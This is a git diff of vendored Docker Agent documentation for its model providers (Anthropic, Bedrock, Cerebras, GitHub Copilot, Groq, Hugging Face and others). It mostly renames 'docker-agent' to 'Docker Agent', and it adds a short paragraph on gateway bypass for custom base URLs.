See the [Hooks documentation](../../configuration/hooks/index.md) for the full list of events, their payloads, and per-hook options (`env`, `working_dir`, `timeout`). ### GitHub PR Reviewer Example -Use docker-agent as a GitHub Actions PR reviewer: +Use Docker Agent as a GitHub Actions PR reviewer: ```yaml # .github/workflows/pr-review.yml diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/anthropic/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/anthropic/index.md index c7e8804190ac..104a609d88ac 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/anthropic/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/anthropic/index.md @@ -1,12 +1,12 @@ --- title: "Anthropic" -description: "Use Claude Sonnet 4, Claude Sonnet 4.5, and other Anthropic models with docker-agent." +description: "Use Claude Sonnet 4, Claude Sonnet 4.5, and other Anthropic models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, anthropic weight: 20 canonical: https://docs.docker.com/ai/docker-agent/providers/anthropic/ --- -_Use Claude Sonnet 4, Claude Sonnet 4.5, and other Anthropic models with docker-agent._ +_Use Claude Sonnet 4, Claude Sonnet 4.5, and other Anthropic models with Docker Agent._ ## Setup @@ -20,7 +20,7 @@ export ANTHROPIC_API_KEY="sk-ant-..." Authenticate with short-lived tokens minted from your own OIDC identity provider instead of a long-lived API key. See Anthropic's [Workload Identity Federation guide](https://platform.claude.com/docs/en/build-with-claude/workload-identity-federation) -to provision a Federation Rule, then configure docker-agent with a typed +to provision a Federation Rule, then configure Docker Agent with a typed `auth:` block: ```yaml @@ -156,9 +156,9 @@ is forwarded as and is ideal for letting long-running agents self-regulate effort without tightening `max_tokens` on every call. -docker-agent automatically attaches the required `task-budgets-2026-03-13` +Docker Agent automatically attaches the required `task-budgets-2026-03-13` beta header whenever this field is set. You can configure `task_budget` on -**any** Claude model — docker-agent never gates it by model name. At the time +**any** Claude model — Docker Agent never gates it by model name. At the time of writing, only **Claude Opus 4.7** actually honors the field; other Claude models (Sonnet 4.5, Opus 4.5 / 4.6, etc.) are expected to reject requests that include it. Check the Anthropic release notes linked above for the @@ -204,7 +204,7 @@ models: - claude-sonnet-4-6 ``` -docker-agent automatically attaches the required +Docker Agent automatically attaches the required `server-side-fallback-2026-06-01` beta header and forwards the option as `fallbacks: [{"model": "..."}]`. The response's `model` field reports which model actually served the request. @@ -216,7 +216,7 @@ AI, or the Message Batches API. ## Thinking Display -Controls whether thinking blocks are returned in responses when thinking is enabled. Newer Claude models (Opus 4.7+, Fable 5) hide thinking content by default (`omitted`); docker-agent counters this by requesting `summarized` thinking whenever an adaptive/effort-based budget is used without an explicit `thinking_display`, so reasoning stays visible in the UI. Set `thinking_display` in `provider_opts` to override: +Controls whether thinking blocks are returned in responses when thinking is enabled. Newer Claude models (Opus 4.7+, Fable 5) hide thinking content by default (`omitted`); Docker Agent counters this by requesting `summarized` thinking whenever an adaptive/effort-based budget is used without an explicit `thinking_display`, so reasoning stays visible in the UI. Set `thinking_display` in `provider_opts` to override: ```yaml models: @@ -230,7 +230,7 @@ models: Valid values: -- `summarized`: thinking blocks are returned with summarized thinking text (docker-agent's default for adaptive/effort-based budgets). +- `summarized`: thinking blocks are returned with summarized thinking text (Docker Agent's default for adaptive/effort-based budgets). - `display`: thinking blocks are returned for display. - `omitted`: thinking blocks are returned with an empty thinking field; the signature is still returned for multi-turn continuity. Useful to reduce time-to-first-text-token when streaming. diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/baseten/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/baseten/index.md index 16337d3cf8bd..f36428484838 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/baseten/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/baseten/index.md @@ -1,16 +1,16 @@ --- title: "Baseten" -description: "Use Baseten AI models with docker-agent." +description: "Use Baseten AI models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, baseten weight: 40 canonical: https://docs.docker.com/ai/docker-agent/providers/baseten/ --- -_Use Baseten AI models with docker-agent._ +_Use Baseten AI models with Docker Agent._ ## Overview -Baseten provides AI models through an OpenAI-compatible API. docker-agent includes built-in support for Baseten as an alias provider. +Baseten provides AI models through an OpenAI-compatible API. Docker Agent includes built-in support for Baseten as an alias provider. ## Setup @@ -67,7 +67,7 @@ Baseten hosts various open models through its Model APIs. Check the [Baseten doc ## How It Works -Baseten is implemented as a built-in alias in docker-agent: +Baseten is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (`openai_chatcompletions`) - **Base URL:** `https://inference.baseten.co/v1` diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/bedrock/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/bedrock/index.md index 7aae4d687835..f7e190a08602 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/bedrock/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/bedrock/index.md @@ -138,7 +138,7 @@ models: region: us-east-1 ``` -docker-agent recognizes these models (including Bedrock-style IDs) and transparently coerces a configured token budget or effort level to adaptive thinking, logging a warning — so `thinking_budget: 32768` on Opus 4.8 won't fail, but `adaptive` or `adaptive/` is the recommended configuration. On older models that still use token-based thinking (e.g. Sonnet 4.5), `adaptive` is forwarded as-is and rejected by Bedrock — use a token count or effort level there instead. +Docker Agent recognizes these models (including Bedrock-style IDs) and transparently coerces a configured token budget or effort level to adaptive thinking, logging a warning — so `thinking_budget: 32768` on Opus 4.8 won't fail, but `adaptive` or `adaptive/` is the recommended configuration. On older models that still use token-based thinking (e.g. Sonnet 4.5), `adaptive` is forwarded as-is and rejected by Bedrock — use a token count or effort level there instead. > [!NOTE] > **Temperature and top_p** @@ -160,7 +160,7 @@ models: # interleaved_thinking is auto-enabled when thinking_budget is set ``` -docker-agent auto-enables `interleaved_thinking` whenever a thinking budget is configured on a Bedrock-hosted Claude model and automatically adds the `interleaved-thinking-2025-05-14` beta header. If you set `interleaved_thinking: false` while a thinking budget is active, a warning is logged because the budget may be ignored by Bedrock without the beta header. +Docker Agent auto-enables `interleaved_thinking` whenever a thinking budget is configured on a Bedrock-hosted Claude model and automatically adds the `interleaved-thinking-2025-05-14` beta header. If you set `interleaved_thinking: false` while a thinking budget is active, a warning is logged because the budget may be ignored by Bedrock without the beta header. See the [Thinking / Reasoning guide](../../guides/thinking/index.md) for a full cross-provider overview. diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/cerebras/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/cerebras/index.md index 42523309247c..bf0dba14c912 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/cerebras/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/cerebras/index.md @@ -1,19 +1,19 @@ --- title: "Cerebras" -description: "Use Cerebras models with docker-agent." +description: "Use Cerebras models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, cerebras weight: 50 canonical: https://docs.docker.com/ai/docker-agent/providers/cerebras/ --- -_Use Cerebras models with docker-agent._ +_Use Cerebras models with Docker Agent._ ## Overview [Cerebras](https://www.cerebras.ai/) serves open-weight models such as GPT-OSS and GLM through an OpenAI-compatible API on its wafer-scale hardware, delivering some of the highest tokens/sec available. That speed makes it a strong fit for -latency-sensitive coding workflows. docker-agent includes built-in support for +latency-sensitive coding workflows. Docker Agent includes built-in support for Cerebras as an alias provider. ## Setup @@ -75,14 +75,14 @@ for current model IDs, context limits, and pricing. ## How It Works -Cerebras is implemented as a built-in alias in docker-agent: +Cerebras is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (`openai_chatcompletions`) - **Base URL:** `https://api.cerebras.ai/v1` - **Token Variable:** `CEREBRAS_API_KEY` Because Cerebras fronts open-weight models whose chat templates may only accept -a single leading system message, docker-agent coalesces its per-source system +a single leading system message, Docker Agent coalesces its per-source system messages (agent instruction plus each toolset's instructions) into one before sending the request. diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/chatgpt/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/chatgpt/index.md index d911d179701f..ed50250056b5 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/chatgpt/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/chatgpt/index.md @@ -1,12 +1,12 @@ --- title: "ChatGPT (OpenAI account)" -description: "Use your ChatGPT Plus/Pro/Business subscription with docker-agent by signing in with your OpenAI account, no API key needed." +description: "Use your ChatGPT Plus/Pro/Business subscription with Docker Agent by signing in with your OpenAI account, no API key needed." keywords: docker agent, ai agents, model providers, llm, chatgpt, openai, codex, subscription weight: 55 canonical: https://docs.docker.com/ai/docker-agent/providers/chatgpt/ --- -_Use your ChatGPT subscription with docker-agent by signing in with your OpenAI account. No API key needed._ +_Use your ChatGPT subscription with Docker Agent by signing in with your OpenAI account. No API key needed._ ## Overview @@ -15,7 +15,7 @@ The `chatgpt` provider authenticates with a ChatGPT account (the same `OPENAI_API_KEY`. Usage is billed against your ChatGPT Plus, Pro, or Business plan rather than pay-per-token API credits. -Under the hood, docker-agent talks to the ChatGPT Codex backend +Under the hood, Docker Agent talks to the ChatGPT Codex backend (`https://chatgpt.com/backend-api/codex`), which serves the `gpt-5` model family over the OpenAI Responses API. GPT-5.6 (Sol/Terra/Luna) is served there too; GPT-5.2 and GPT-5.3-Codex are deprecated for ChatGPT sign-in. @@ -34,7 +34,7 @@ docker agent setup Pick **chatgpt** in the provider list: instead of asking for an API key, the wizard opens your browser on the ChatGPT sign-in page and stores the -resulting OAuth credential in the docker-agent config directory +resulting OAuth credential in the Docker Agent config directory (`~/.config/cagent/chatgpt-auth.json`, owner-only permissions). The access token is refreshed automatically; you only need to sign in again if the refresh token is revoked. @@ -97,14 +97,14 @@ The effort picker exposes Low/Medium/High/XHigh/Max on the GPT-5.6 family - **API:** requests go to the Responses API only; the backend has no Chat Completions endpoint, so `api_type` is pinned automatically. - **Request shape:** the backend requires stateless requests (`store: false`) - and a top-level `instructions` field, so docker-agent moves system messages + and a top-level `instructions` field, so Docker Agent moves system messages there. Client-side sampling parameters (`temperature`, `top_p`, `max_tokens`) are not supported by the backend and are dropped. ## Setting the Token Explicitly `CHATGPT_OAUTH_TOKEN` can also be set like any other credential (shell -environment, `--env-from-file`, keychain, ...). An explicitly set value takes +environment, `--env-from-file`, ...). An explicitly set value takes precedence over the stored sign-in. This is useful for short-lived CI runs with a pre-minted access token, but note that such a token expires and is not refreshed. diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/cloudflare-ai-gateway/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/cloudflare-ai-gateway/index.md index 175d537fd403..558d8c6e03b0 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/cloudflare-ai-gateway/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/cloudflare-ai-gateway/index.md @@ -1,18 +1,18 @@ --- title: "Cloudflare AI Gateway" -description: "Use Cloudflare AI Gateway models with docker-agent." +description: "Use Cloudflare AI Gateway models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, cloudflare ai gateway weight: 60 canonical: https://docs.docker.com/ai/docker-agent/providers/cloudflare-ai-gateway/ --- -_Use Cloudflare AI Gateway models with docker-agent._ +_Use Cloudflare AI Gateway models with Docker Agent._ ## Overview [Cloudflare AI Gateway](https://developers.cloudflare.com/ai-gateway/) is a single OpenAI-compatible endpoint that routes to models from OpenAI, Anthropic, -Workers AI and more, with caching, rate limiting and observability. docker-agent +Workers AI and more, with caching, rate limiting and observability. Docker Agent includes built-in support for AI Gateway as an alias provider. The alias sends your token in the standard `Authorization: Bearer` header, so it @@ -82,7 +82,7 @@ the current provider list, model IDs, and how billing works. ## How It Works -Cloudflare AI Gateway is implemented as a built-in alias in docker-agent: +Cloudflare AI Gateway is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (`openai_chatcompletions`) - **Base URL:** `https://gateway.ai.cloudflare.com/v1/${CLOUDFLARE_ACCOUNT_ID}/${CLOUDFLARE_GATEWAY_ID}/compat` @@ -91,13 +91,13 @@ Cloudflare AI Gateway is implemented as a built-in alias in docker-agent: The base URL is templated: `${CLOUDFLARE_ACCOUNT_ID}` and `${CLOUDFLARE_GATEWAY_ID}` are substituted from the environment when the provider is built, so both must be set in addition to `CLOUDFLARE_API_TOKEN`. Because the -gateway can route to open-weight models with strict chat templates, docker-agent +gateway can route to open-weight models with strict chat templates, Docker Agent coalesces consecutive system messages into a single leading one for this provider. ## Authentication -docker-agent authenticates by sending `CLOUDFLARE_API_TOKEN` in the standard +Docker Agent authenticates by sending `CLOUDFLARE_API_TOKEN` in the standard `Authorization: Bearer` header. On the `.../compat` endpoint that header is treated as the **provider** key, so this alias works when: diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/cloudflare-workers-ai/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/cloudflare-workers-ai/index.md index 181878c4f780..68477296aee6 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/cloudflare-workers-ai/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/cloudflare-workers-ai/index.md @@ -1,19 +1,19 @@ --- title: "Cloudflare Workers AI" -description: "Use Cloudflare Workers AI models with docker-agent." +description: "Use Cloudflare Workers AI models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, cloudflare workers ai weight: 70 canonical: https://docs.docker.com/ai/docker-agent/providers/cloudflare-workers-ai/ --- -_Use Cloudflare Workers AI models with docker-agent._ +_Use Cloudflare Workers AI models with Docker Agent._ ## Overview [Cloudflare Workers AI](https://developers.cloudflare.com/workers-ai/) runs open-weight models (Llama, Mistral, Qwen, Gemma, and more) on Cloudflare's global edge network through an OpenAI-compatible endpoint. No separate provider -accounts are needed for the supported models. docker-agent includes built-in +accounts are needed for the supported models. Docker Agent includes built-in support for Workers AI as an alias provider. ## Setup @@ -78,7 +78,7 @@ for the current list, IDs, and pricing. ## How It Works -Cloudflare Workers AI is implemented as a built-in alias in docker-agent: +Cloudflare Workers AI is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (`openai_chatcompletions`) - **Base URL:** `https://api.cloudflare.com/client/v4/accounts/${CLOUDFLARE_ACCOUNT_ID}/ai/v1` @@ -87,5 +87,5 @@ Cloudflare Workers AI is implemented as a built-in alias in docker-agent: The base URL is templated: `${CLOUDFLARE_ACCOUNT_ID}` is substituted from the environment when the provider is built, so `CLOUDFLARE_ACCOUNT_ID` must be set in addition to `CLOUDFLARE_API_TOKEN`. Because Workers AI serves open-weight models -with strict chat templates, docker-agent coalesces consecutive system messages +with strict chat templates, Docker Agent coalesces consecutive system messages into a single leading one for this provider. diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/custom/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/custom/index.md index c6cc389bb0d5..9dcc86bd9327 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/custom/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/custom/index.md @@ -156,7 +156,7 @@ Only applicable for OpenAI-compatible providers (when `provider` is `openai` or - **`openai_chatcompletions`** — Standard OpenAI Chat Completions API. Works with most OpenAI-compatible endpoints. - **`openai_responses`** — OpenAI Responses API. For newer models that require the Responses API format. -> If `api_type` is not set, docker-agent automatically selects the API type based on the model name. You only need to set `api_type` explicitly to override the detected default. +> If `api_type` is not set, Docker Agent automatically selects the API type based on the model name. You only need to set `api_type` explicitly to override the detected default. ## Examples @@ -302,3 +302,9 @@ When you reference a provider: 3. All model-level defaults (temperature, max_tokens, thinking_budget, etc.) are inherited (model settings take precedence) 4. For OpenAI-compatible providers, the `api_type` is stored in `provider_opts.api_type` 5. The model is used with the appropriate API client + +A provider with a `base_url` implies `bypass_models_gateway: true` for every +model that references it: user-chosen endpoints are never routed through a +configured models gateway, and such models authenticate with the provider's +own credentials (`token_key`). See +[Gateway Bypass](../../configuration/models/index.md#gateway-bypass). diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/deepseek/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/deepseek/index.md index 212fb870d7b6..e62710a4f413 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/deepseek/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/deepseek/index.md @@ -1,18 +1,18 @@ --- title: "DeepSeek" -description: "Use DeepSeek models with docker-agent." +description: "Use DeepSeek models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, deepseek weight: 80 canonical: https://docs.docker.com/ai/docker-agent/providers/deepseek/ --- -_Use DeepSeek models with docker-agent._ +_Use DeepSeek models with Docker Agent._ ## Overview [DeepSeek](https://www.deepseek.com/) serves its frontier chat and reasoning models through an OpenAI-compatible API, with strong price/performance on coding -and reasoning tasks. docker-agent includes built-in support for DeepSeek as an +and reasoning tasks. Docker Agent includes built-in support for DeepSeek as an alias provider. ## Setup @@ -73,7 +73,7 @@ for current model IDs, context limits, and pricing. ## How It Works -DeepSeek is implemented as a built-in alias in docker-agent: +DeepSeek is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (`openai_chatcompletions`) - **Base URL:** `https://api.deepseek.com/v1` diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/dmr/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/dmr/index.md index ea1f34422b89..65b0528bec80 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/dmr/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/dmr/index.md @@ -12,7 +12,7 @@ _Run AI models locally with Docker — no API keys, no costs, full data privacy. Docker Model Runner (DMR) lets you run open-source AI models directly on your machine. Models run in Docker, so there's no API key needed and no data leaves your computer. -docker-agent automatically discovers models you have already pulled from DMR. When no model is explicitly configured, auto-selection prefers a locally-installed model (choosing the model specified via the `model:` key in the agent YAML if it is already pulled locally, or otherwise the first available non-embedding model) rather than always defaulting to `ai/qwen3:latest` and triggering a pull prompt. +Docker Agent automatically discovers models you have already pulled from DMR. When no model is explicitly configured, auto-selection prefers a locally-installed model (choosing the model specified via the `model:` key in the agent YAML if it is already pulled locally, or otherwise the first available non-embedding model) rather than always defaulting to `ai/qwen3:latest` and triggering a pull prompt. > [!TIP] > **No API key needed** @@ -92,7 +92,7 @@ models: If `context_size` is omitted, Model Runner uses its default. `max_tokens` is **not** used as the context window. -docker-agent's auto-compaction scales its summary and keep-tail token budgets proportionally to `context_size`. This ensures compaction works correctly even for small context windows — for example, an 8k-token local model will not have its session history wiped during compaction. +Docker Agent's auto-compaction scales its summary and keep-tail token budgets proportionally to `context_size`. This ensures compaction works correctly even for small context windows — for example, an 8k-token local model will not have its session history wiped during compaction. ## Thinking / reasoning budget @@ -236,7 +236,7 @@ models: ## Custom Endpoint -If `base_url` is omitted, docker-agent auto-discovers the DMR endpoint. To set manually: +If `base_url` is omitted, Docker Agent auto-discovers the DMR endpoint. To set manually: ```yaml models: @@ -248,6 +248,6 @@ models: ## Troubleshooting -- **Plugin not found:** Ensure Docker Model Runner is enabled in Docker Desktop. docker-agent will fall back to the default URL. +- **Plugin not found:** Ensure Docker Model Runner is enabled in Docker Desktop. Docker Agent will fall back to the default URL. - **Endpoint empty:** Verify the Model Runner is running with `docker model status --json`. - **Performance:** Use `runtime_flags` to tune GPU layers (`--ngl`) and thread count (`--threads`). diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/fireworks/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/fireworks/index.md index 8ccdf36876e9..9644653071f8 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/fireworks/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/fireworks/index.md @@ -1,18 +1,18 @@ --- title: "Fireworks AI" -description: "Use Fireworks AI models with docker-agent." +description: "Use Fireworks AI models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, fireworks ai weight: 100 canonical: https://docs.docker.com/ai/docker-agent/providers/fireworks/ --- -_Use Fireworks AI models with docker-agent._ +_Use Fireworks AI models with Docker Agent._ ## Overview [Fireworks AI](https://fireworks.ai/) is a fast inference host for open-weight models, serving Kimi K2, Llama, Qwen, DeepSeek, GLM and others through an -OpenAI-compatible API. docker-agent includes built-in support for Fireworks AI +OpenAI-compatible API. Docker Agent includes built-in support for Fireworks AI as an alias provider. ## Setup @@ -75,14 +75,14 @@ limits, and pricing. ## How It Works -Fireworks AI is implemented as a built-in alias in docker-agent: +Fireworks AI is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (`openai_chatcompletions`) - **Base URL:** `https://api.fireworks.ai/inference/v1` - **Token Variable:** `FIREWORKS_API_KEY` Because Fireworks fronts open-weight models whose chat templates may reject more -than one leading system message, docker-agent coalesces its per-source system +than one leading system message, Docker Agent coalesces its per-source system messages into a single one for this provider. ## Example: Code Assistant diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/github-copilot/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/github-copilot/index.md index 9111e0a5d829..b523c85f383a 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/github-copilot/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/github-copilot/index.md @@ -1,19 +1,19 @@ --- title: "GitHub Copilot" -description: "Use GitHub Copilot's hosted models (GPT-4o, Claude, Gemini, and more) with docker-agent through your GitHub subscription." +description: "Use GitHub Copilot's hosted models (GPT-4o, Claude, Gemini, and more) with Docker Agent through your GitHub subscription." keywords: docker agent, ai agents, model providers, llm, github copilot weight: 110 canonical: https://docs.docker.com/ai/docker-agent/providers/github-copilot/ --- -_Use GitHub Copilot's hosted models with docker-agent through your existing GitHub subscription._ +_Use GitHub Copilot's hosted models with Docker Agent through your existing GitHub subscription._ ## Overview GitHub Copilot exposes an OpenAI-compatible Chat Completions API at -`https://api.githubcopilot.com`. docker-agent ships with built-in support for +`https://api.githubcopilot.com`. Docker Agent ships with built-in support for it as the `github-copilot` provider, so any user with a paid GitHub Copilot -subscription can reuse their entitlement from docker-agent. +subscription can reuse their entitlement from Docker Agent. ## Prerequisites @@ -70,14 +70,14 @@ for the current model list. ## `Copilot-Integration-Id` Header GitHub's Copilot API rejects requests that don't carry a -`Copilot-Integration-Id` header with a `Bad Request` error. docker-agent +`Copilot-Integration-Id` header with a `Bad Request` error. Docker Agent automatically sends `copilot-developer-cli` for the `github-copilot` provider, so PAT-based usage works out of the box. We specifically chose `copilot-developer-cli` (instead of, say, `vscode-chat`) because it is the integration id accepted by the Copilot API for **both** OAuth tokens and Personal Access Tokens. Most -docker-agent users authenticate with a PAT exported as `GITHUB_TOKEN`, +Docker Agent users authenticate with a PAT exported as `GITHUB_TOKEN`, and `vscode-chat` is rejected for those tokens. If you need to send a different integration id — for example if your @@ -102,7 +102,7 @@ works too. GitHub Copilot proxies OpenAI models behind two endpoints: the legacy `/chat/completions` and the newer `/responses`. Newer models (the `gpt-5` family, Codex variants, etc.) are only served via `/responses` and reject -`/chat/completions` with a `400 Bad Request`. docker-agent auto-selects the +`/chat/completions` with a `400 Bad Request`. Docker Agent auto-selects the right endpoint per model, so no configuration is needed in the common case. If you ever need to force one or the other, set `api_type` explicitly: @@ -135,7 +135,7 @@ models: ## How It Works -GitHub Copilot is implemented as a built-in alias in docker-agent: +GitHub Copilot is implemented as a built-in alias in Docker Agent: - **API type:** OpenAI-compatible (Chat Completions) - **Base URL:** `https://api.githubcopilot.com` @@ -143,5 +143,5 @@ GitHub Copilot is implemented as a built-in alias in docker-agent: - **Default headers:** `Copilot-Integration-Id: copilot-developer-cli` This means the same client as OpenAI is used, so every OpenAI feature -supported by docker-agent (tool calling, structured output, multimodal +supported by Docker Agent (tool calling, structured output, multimodal inputs, etc.) is available when the underlying model supports it. diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/google/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/google/index.md index 4f2a788139cf..efbb27817169 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/google/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/google/index.md @@ -1,16 +1,16 @@ --- title: "Google Gemini" -description: "Use Gemini 2.5 Flash, Gemini 3 Pro, and other Google models with docker-agent." +description: "Use Gemini 2.5 Flash, Gemini 3 Pro, and other Google models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, google gemini weight: 120 canonical: https://docs.docker.com/ai/docker-agent/providers/google/ --- -_Use Gemini 2.5 Flash, Gemini 3 Pro, and other Google models with docker-agent._ +_Use Gemini 2.5 Flash, Gemini 3 Pro, and other Google models with Docker Agent._ ## Setup -docker-agent reads the first credential it finds from these environment variables (see `pkg/model/provider/gemini/client.go`): +Docker Agent reads the first credential it finds from these environment variables (see `pkg/model/provider/gemini/client.go`): | Variable | Purpose | | --------------------------- | ----------------------------------------------------------------------------------- | diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/groq/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/groq/index.md index 110ac699aad3..4c7d3945581c 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/groq/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/groq/index.md @@ -1,17 +1,17 @@ --- title: "Groq" -description: "Use Groq fast-inference models with docker-agent." +description: "Use Groq fast-inference models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, groq weight: 130 canonical: https://docs.docker.com/ai/docker-agent/providers/groq/ --- -_Use Groq models with docker-agent._ +_Use Groq models with Docker Agent._ ## Overview [Groq](https://groq.com/) serves open-weight models on its LPU inference engine -through an OpenAI-compatible API, with a focus on very low latency. docker-agent +through an OpenAI-compatible API, with a focus on very low latency. Docker Agent includes built-in support for Groq as an alias provider. ## Setup @@ -76,7 +76,7 @@ model IDs, context limits, and rate limits. ## How It Works -Groq is implemented as a built-in alias in docker-agent: +Groq is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (`openai_chatcompletions`) - **Base URL:** `https://api.groq.com/openai/v1` diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/huggingface/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/huggingface/index.md index be46c30771e2..8b5860100a71 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/huggingface/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/huggingface/index.md @@ -1,18 +1,18 @@ --- title: "Hugging Face" -description: "Use Hugging Face Inference Providers with docker-agent." +description: "Use Hugging Face Inference Providers with Docker Agent." keywords: docker agent, ai agents, model providers, llm, hugging face weight: 140 canonical: https://docs.docker.com/ai/docker-agent/providers/huggingface/ --- -_Use Hugging Face Inference Providers with docker-agent._ +_Use Hugging Face Inference Providers with Docker Agent._ ## Overview [Hugging Face Inference Providers](https://huggingface.co/docs/inference-providers/index) routes requests to open models (Llama, Qwen, DeepSeek, Kimi, GLM and others) -across many backends through a single OpenAI-compatible endpoint. docker-agent +across many backends through a single OpenAI-compatible endpoint. Docker Agent includes built-in support for Hugging Face as an alias provider. ## Setup @@ -74,14 +74,14 @@ for current model IDs, context limits, and pricing. ## How It Works -Hugging Face is implemented as a built-in alias in docker-agent: +Hugging Face is implemented as a built-in alias in Docker Agent: - **API Type:** OpenAI-compatible (`openai_chatcompletions`) - **Base URL:** `https://router.huggingface.co/v1` - **Token Variable:** `HF_TOKEN` Because Hugging Face fronts open-weight models whose chat templates may reject -more than one leading system message, docker-agent coalesces its per-source +more than one leading system message, Docker Agent coalesces its per-source system messages into a single one for this provider. ## Example: Code Assistant diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/local/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/local/index.md index 341c4672bc17..a79822f0ae64 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/local/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/local/index.md @@ -1,6 +1,6 @@ --- title: "Local Models (Ollama, vLLM, LocalAI)" -description: "Run docker-agent with locally hosted models for privacy, offline use, or cost savings." +description: "Run Docker Agent with locally hosted models for privacy, offline use, or cost savings." keywords: docker agent, ai agents, model providers, llm, local models (ollama, vllm, localai) linkTitle: "Local Models" weight: 150 @@ -9,11 +9,11 @@ aliases: - /ai/docker-agent/local-models/ --- -_Run docker-agent with locally hosted models for privacy, offline use, or cost savings._ +_Run Docker Agent with locally hosted models for privacy, offline use, or cost savings._ ## Overview -docker-agent can connect to any OpenAI-compatible local model server. This guide covers the most popular options: +Docker Agent can connect to any OpenAI-compatible local model server. This guide covers the most popular options: - **Ollama** — Easy-to-use local model runner - **vLLM** — High-performance inference server @@ -26,7 +26,7 @@ docker-agent can connect to any OpenAI-compatible local model server. This guide ## Ollama -Ollama is a popular tool for running LLMs locally. docker-agent includes a built-in `ollama` alias for easy configuration. +Ollama is a popular tool for running LLMs locally. Docker Agent includes a built-in `ollama` alias for easy configuration. ### Setup diff --git a/_vendor/github.com/docker/docker-agent/docs/providers/minimax/index.md b/_vendor/github.com/docker/docker-agent/docs/providers/minimax/index.md index 84ebf0ce58ad..e6eeac606e38 100644 --- a/_vendor/github.com/docker/docker-agent/docs/providers/minimax/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/providers/minimax/index.md @@ -1,16 +1,16 @@ --- title: "MiniMax" -description: "Use MiniMax AI models with docker-agent." +description: "Use MiniMax AI models with Docker Agent." keywords: docker agent, ai agents, model providers, llm, minimax weight: 160 canonical: https://docs.docker.com/ai/docker-agent/providers/minimax/ --- -_Use MiniMax AI models with docker-agent._ +_Use MiniMax AI models with Docker Agent._ ## Overview -MiniMax provides AI models through an OpenAI-compatible API. docker-agent includes built-in support for MiniMax as an alias provider. +MiniMax provides AI models through an OpenAI-compatible API. Docker Agent includes built-in support for MiniMax as an alias provider. ## Setup @@ -68,7 +68,7 @@ Check the [MiniMax documentation](https://www.minimaxi.com/document/introduction ## How It Works -MiniMax is implemented as a built-in alias in docker-agent: +MiniMax is implemented as a built-in alias in Docker Agent: - **API 